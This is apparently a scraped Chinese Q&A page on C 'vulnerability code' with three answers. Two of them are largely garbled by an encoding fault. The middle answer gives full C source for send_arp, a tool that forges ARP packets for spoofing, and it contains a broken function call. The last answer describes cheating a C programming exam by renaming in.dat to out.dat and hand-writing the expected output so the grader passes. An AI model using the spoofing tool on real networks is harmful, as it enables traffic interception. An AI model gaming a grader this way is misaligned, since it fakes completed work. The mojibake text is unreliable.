c漏洞代码示例

① 閿欒浠ｇ爜0xc00000鏄浠涔堟剰鎬濓紵

杩欎釜閿欒浠ｇ爜灏辨槸鎭㈠嶇郴缁熺殑鏃跺欙紝涓㈠け浜嗕竴浜涚郴缁熷紩瀵兼枃浠躲傚缓璁閲嶆柊瀹夎呯郴缁熴

寰杞疻INDOWS绯荤粺鐨勬紡娲

windows鎶婂唴瀛樺湴鍧0X00000000鍒0X0000ffff鎸囧畾涓哄垎閰峮ull鎸囬拡鐨勫湴鍧鑼冨洿锛屽傛灉绋嬪簭璇曞浘璁块棶杩欎竴鍦板潃锛屽垯璁や负鏄閿欒銆俢/c++缂栧啓鐨勭▼搴忛氬父涓嶈繘琛屼弗鏍肩殑閿欒妫鏌ワ紝褰撻噰鐢╩alloc鏉ュ垎閰嶅唴瀛樿屽彲渚涘垎閰嶇殑鍦板潃绌洪棿涓嶅熺殑鎯呭喌涓嬭繑鍥瀗ull鎸囬拡銆

浣嗘槸浠ｇ爜涓嶆鏌ヨ繖绉嶉敊璇锛岃や负鍦板潃鍒嗛厤宸茬粡鎴愬姛锛屼簬鏄灏辫块棶0X00000000鐨勫湴鍧锛屼簬鏄灏卞彂鐢熷唴瀛樿繚瑙勮块棶锛屽悓鏃惰ヨ繘绋嬭缁堟銆

鎵╁睍璧勬枡锛

ASCII瀛楃﹀～鍏呯粍鎴愮殑pif鏂囦欢鏃朵細鍑虹幇浠ヤ笅鎯呭喌锛

涓涓闈炴硶鐨刾if鏂囦欢锛堢敤ascii瀛楃'x'濉鍏咃級鑷冲皯瑕369瀛楄妭锛岀郴缁熸墠璁や负鏄涓涓鍚堟硶鐨刾if鏂囦欢锛屾墠浼氫互pif鐨勫浘鏍嘯pifmgr.dll,0]鏄剧ず锛屾墠浼氬湪灞炴ч噷鏈夌▼搴忋佸瓧浣撱佸唴瀛樸佸睆骞曗濈瓑鍐呭广

鑰屼笖浠呭綋涓涓闈瀙if鏂囦欢鐨勫ぇ灏忔槸369瀛楄妭鏃跺療鐪嬪睘鎬х殑鈥滅▼搴忊濋〉鏃讹紝涓嶄細鍙戠敓绋嬪簭閿欒锛屽綋瀵逛竴涓澶т簬369瀛楄妭鐨勯潪娉昿if鏂囦欢瀵熺湅灞炴х殑鈥滅▼搴忊濋〉鏃讹紝Explorer浼氬嚭閿欙紝鎻愮ず锛歕'***'鎸囦护寮曠敤鐨刓'***'鍐呭瓨銆傝ュ唴瀛樹笉鑳戒负'read'銆

② linux C编程， 如何仿造ip、mac地址发送报文呢 是利用ARP协议漏洞吗有没有源代码借鉴下~~

一个arp欺骗攻击的代码如下：
/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
b(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

③ 璁＄畻鏈轰簩绾C璇瑷鏈鍚庝竴閬撶紪绋嬮樻紡娲炴妧宸э紵鍝浣嶄翰锛岀煡閬撹阿璋㈠暒锛

鍘诲勾鐮旂┒杩囷紝鑰冨満涓婂ソ鍍忔垜涔熻佸埌閭ｄ釜涓滆タ鑳界敤浜嗭紝涓嶈繃杩樻槸鑷宸卞仛鐨勶紝鍏跺疄寰堢畝鍗曠殑锛屼笅闈㈡槸鎴戠殑涓绡囨棩蹇楋紝甯屾湜瀵逛綘鏈夌敤
浜岀骇c鐨勭▼搴忚捐￠樹綔寮婃柟娉
缃戜笂纰板埌鏈変簩绾c鐨勪綔寮婃柟娉曪紝鎻愬埌浜嗛氳繃鏇存敼out.dat鏂囦欢鐨勫唴瀹癸紝杈惧埌浣滃紛鐨勭洰鐨勶紝鑷宸变篃鍦ㄤ簩绾c璇瑷鐨勬ā鎷熻冭瘯鐜澧冧笅娴嬭瘯杩囷紝鍙鐢锛屾弧鍒嗭紝24鍒嗗氨鏉ヤ簡锛岃嚦浜庣湡姝ｇ殑浜岀骇c鑰冭瘯锛屾湁浜鸿磋兘鐢锛屼篃鏈変汉璇达紝涓嶈兘鐢锛屽彧鏈夎瘯璇曞氨鐭ラ亾浜嗭紝绗涓娆¤冧簩绾э紝涔熸病璇曡繃锛屾墍浠ヤ笉鐭ラ亾鏄涓嶆槸鑳界敤
#include <stdio.h>
void fun(char p1[], char p2[])
{
}
main()
{ char s1[80], s2[40] ;void NONO ();
printf("Enter s1 and s2:\n") ;
scanf("%s%s", s1, s2) ;
printf("s1=%s\n", s1) ;
printf("s2=%s\n", s2) ;
printf("Invoke fun(s1,s2):\n") ;
fun(s1, s2) ;
printf("After invoking:\n") ;
printf("%s\n", s1) ;
NONO() ;
}
void NONO ()
{/* 鏈鍑芥暟鐢ㄤ簬鎵撳紑鏂囦欢锛岃緭鍏ユ祴璇曟暟鎹锛岃皟鐢╢un鍑芥暟锛岃緭鍑烘暟鎹锛屽叧闂鏂囦欢銆*/
int i ;
FILE *rf, *wf ;
char s1[80], s2[40] ;
rf = fopen("in.dat","r") ;
wf = fopen("out.dat","w") ;
for(i = 0 ; i < 10 ; i++) {
fscanf(rf, "%s", s1) ;
fscanf(rf, "%s", s2) ;
fun(s1, s2) ;
fprintf(wf, "%s\n", s1) ;
}
fclose(rf) ;
fclose(wf) ;
}

杩欎釜绋嬪簭鐨勫嚱鏁癴un鐨勫姛鑳芥槸杩炴帴瀛楃︿覆si鍜宻2鐨勶紝鐩存帴鐪嬭皟璇曠▼搴忕殑鏈鍚庝竴娈碉紝鎵撳紑浜嗕袱涓鏁版嵁娴侊紝鐒跺悗浠庢枃浠秈n.dat鐨勯偅涓娴佷腑锛岃诲嚭鏉ヤ簡s1鍜宻2瀛楃︿覆鐨勫唴瀹癸紝鍦ㄨ皟鐢ㄤ簡 fun鍑芥暟锛屽皢s2杩炴帴鍒皊1鐨勫悗闈锛屾渶鍚庡氨鏄灏嗚繛鎺ュソ鐨剆1杈撳嚭鍒皁ut.dat杩欎釜鏂囦欢涓
閭ｄ箞灏辨槸璇达紝鍙瑕佷綘鐨勭▼搴忔槸姝ｇ‘鐨勶紝閭ｄ箞锛屼汉瀹剁殑娴嬭瘯绋嬪簭鏈鍚庝細鍦╫ut.dat鍐欏嚭涓涓鐗瑰畾鐨勫唴瀹癸紝鍥犱负in.dat鏄鍥哄畾鐨
濡傛灉闃呭嵎鐪熺殑鏄浠呬粎妫娴媜ut.dat 鐨勫唴瀹癸紝閭ｄ箞杩欑嶆柟娉曟槸鍙琛岀殑锛岃繖涓绋嬪簭鏄閫氳繃in.dat鍜宱ut.dat鏉ユ娴嬬殑锛屽叿浣撶殑鎹㈠埆鐨勭▼搴忎篃鏄涓嶄竴瀹氱殑
鎵惧埌鑷宸辩殑鑰冭瘯鏂囦欢澶癸紝涓鑸浼氭湁鎻愮ず鐨勶紝杩涘幓涔嬪悗锛屼細鐪嬪埌in.dat鏂囦欢锛屽嶅埗in.dat灏嗗叾閲嶆柊鍛藉悕涓簅ut.dat鏂囦欢
鐒跺悗灏辨槸鎸夌収绋嬪簭鐨勬濊矾鏇存敼鏂囦欢鐨勫唴瀹逛簡

杩欎釜绋嬪簭鏄杩炴帴瀛楃︿覆鐨 锛屾墍浠ヨ偗瀹氭槸灏唅n.dat鐨勬煇浜涗笢瑗胯繛鎺ヤ簡鍦ㄨ緭鍑哄埌out銆俤at閲岄潰鍘讳簡

涓嬮潰鏄痠n.dat鏂囦欢鐨勫唴瀹癸紝瑕佺敤璁颁簨鏈鎵撳紑鎵嶈岋紝鎵撳紑鏂瑰紡鏇存敼

12345
67890
kjhjkhkjkl
kljkljkl
jkhjkhjkh
987689
kjhjkh
lmjnklj
sdsfsdfds
fsdfdsf
fsdfsdf
345234
423423
423423
7547dvgdf
5634
gdefgdf
tyerter
34563
565764
鎸夌収绋嬪簭鐨勮捐℃濊矾锛屾渶鍚庣殑绋嬪簭娴嬭瘯闃舵碉紝鏄痜or寰鐜鍗佹★紝鐒跺悗姣忔¤诲彇涓よ岋紝杩炴帴鎴愪竴涓瀛楃︿覆涔嬪悗鍐嶅啓鍏out銆俻ut
杩欎箞鏈鍚庡氨鏄璋浜10娆★紝鍏辨湁10琛
閭ｄ箞锛屽彧闇瑕佹妸锛12锛岃繛鎺ヤ竴璧凤紝34锛岃繛鎺ヤ竴璧凤紝杩欎釜绋嬪簭鐨刼ut.dat鏄涓嬮潰杩欐牱瀛楃殑锛岀粍鍚庯紝闃呭嵎锛岃繖閬撻樻槸婊″垎锛屽綋鐒舵槸妯℃嫙杞浠
1234567890

kjhjkhkjklkljkljkl
jkhjkhjkh987689
kjhjkhlmjnklj
sdsfsdfdsfsdfdsf
fsdfsdf345234
423423423423
7547dvgdf5634
gdefgdftyerter
34563565764
杩欎釜鏂规硶鍦ㄤ簩绾c涓嶄竴瀹氳兘鐢锛屼絾鏄澶氬皯浼氭湁鐐圭敤锛屼笉杩囪佽兘鐪嬫噦鏈鍚庢祴璇曠▼搴忕殑鍐呭癸紝渚濇嵁绋嬪簭鐨勫師鐞嗭紝鏂板缓鎴栬呮敼鏂囦欢
杩樻槸鏈夐庨櫓鐨勶紝閬囧埌鍙樻佽佸笀灏变笉濂借翠簡锛屽疄鍦ㄤ笉浼氬仛鐨勬椂鍊欐垨璁歌兘鐢ㄨ繖涓鏂规硶 銆